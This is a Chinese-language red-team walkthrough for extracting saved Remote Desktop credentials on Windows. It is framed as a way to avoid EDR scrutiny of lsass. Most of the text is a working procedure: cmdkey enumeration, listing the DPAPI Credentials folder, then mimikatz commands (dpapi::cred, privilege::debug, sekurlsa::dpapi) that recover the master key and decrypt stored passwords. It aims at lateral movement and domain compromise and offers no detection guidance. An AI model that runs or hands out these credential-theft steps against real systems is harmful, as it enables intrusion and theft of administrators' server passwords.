说明
1.一般的,就抓取凭据方面而言,很多人专注于从 lsass.exe 进程里面窃取凭据,但是 lsass.exe 通常来说已经是被 EDR 产品重点监控的进程了,因此我们自然而然的研究方向便是找到可能不太严格审查的替代方案。这就引出了我们下文中对 RDP 凭据的收集。与 lsass.exe 一样,RDP 协议相关的进程例如 svchost.exe、mstsc.exe 等也在收集凭证的范围内,并且从这些进程中收集凭据不需要管理员特权。
当我们发现目标主机中存在远程桌面连接的历史记录时,我们可以根据历史记录找到其连接过的远程桌面,并确定出关键的服务器。但光找到关键的服务器那能够啊!我们最好能够导出连接远程桌面的连接凭据,获取服务器密码。下面我们便来简单介绍几个可以导出远程桌面连接凭据的方法
2.管理员通常使用远程桌面协议 (RDP) 来远程管理 Windows 环境。在充当跳转站以使用户能够访问其他网络的系统中启用也是典型的 RDP。然而,尽管该协议在大多数情况下被广泛使用,但它并没有得到加强或正确监控。
从红队的角度来看,从 lsass 进程转储凭据可能会导致整个网络的横向移动,或者如果已存储域管理员帐户的凭据,则直接导致整个域受损。与 RDP 协议相关的进程也可以在红队的范围内收集凭证。这些过程是:
- 虚拟主机程序
- mstsc程序
上述过程可以作为一种替代方法来检索凭据,而无需接触 lsass,这是一个通常由端点检测和响应 (EDR) 产品严格监控的过程
使用工具
使用方式
1.查看当前保存的凭据
cmdkey /list
2.遍历 Credentials 目录下保存的凭据
dir /a %userprofile%\AppData\Local\Microsoft\Credentials*
注意:可以看到credentials目录下保存有两个历史连接凭据,这些凭据是加密的,可以使用mimikatz解密
3.选取2步骤中的任意一个凭据使用mimikatz查看
dpapi::cred /in:C:\Users\F7C\AppData\Local\Microsoft\Credential\A7FBBE2F979F0A19B09A331F6ADF1ECE(这个是凭证,前面的路径可以根据2步骤获取)
注意:“ pbData ”字段包含加密形式的信息。但是,用于解密的主密钥存储在 lsass 中,可以通过执行以下 Mimikatz 模块来检索。“ guidMasterKey ”也很重要,因为在查询 lsass 时可能存在多个条目,并且需要将 GUID 与主密钥匹配
4.使用mimikatz执行以下命令(需要管理员权限下执行)
mimikatz.exe “privilege::debug” “sekurlsa::dpapi”
注意:这里要找到guid对应的masterkey,它可以用来解密,guid必须对应第3步骤的masterkey
5.使用以下命令解密,需要用到4步骤的masterkey
mimikatz.exe “dpapi::cred /in:C:\Users\F7C\AppData\Local\Microsoft\Credentials\A7FBBE2F979F0A19B09A331F6ADF1ECE /masterkey:5f0bab4fee85e08611147a00b17f0cf57f4d051a7c1f31a793a9b1fe63fe9aed452de024d8f34c067ccf5217389666542ef8fb049753eb5877c65c39c531fa73”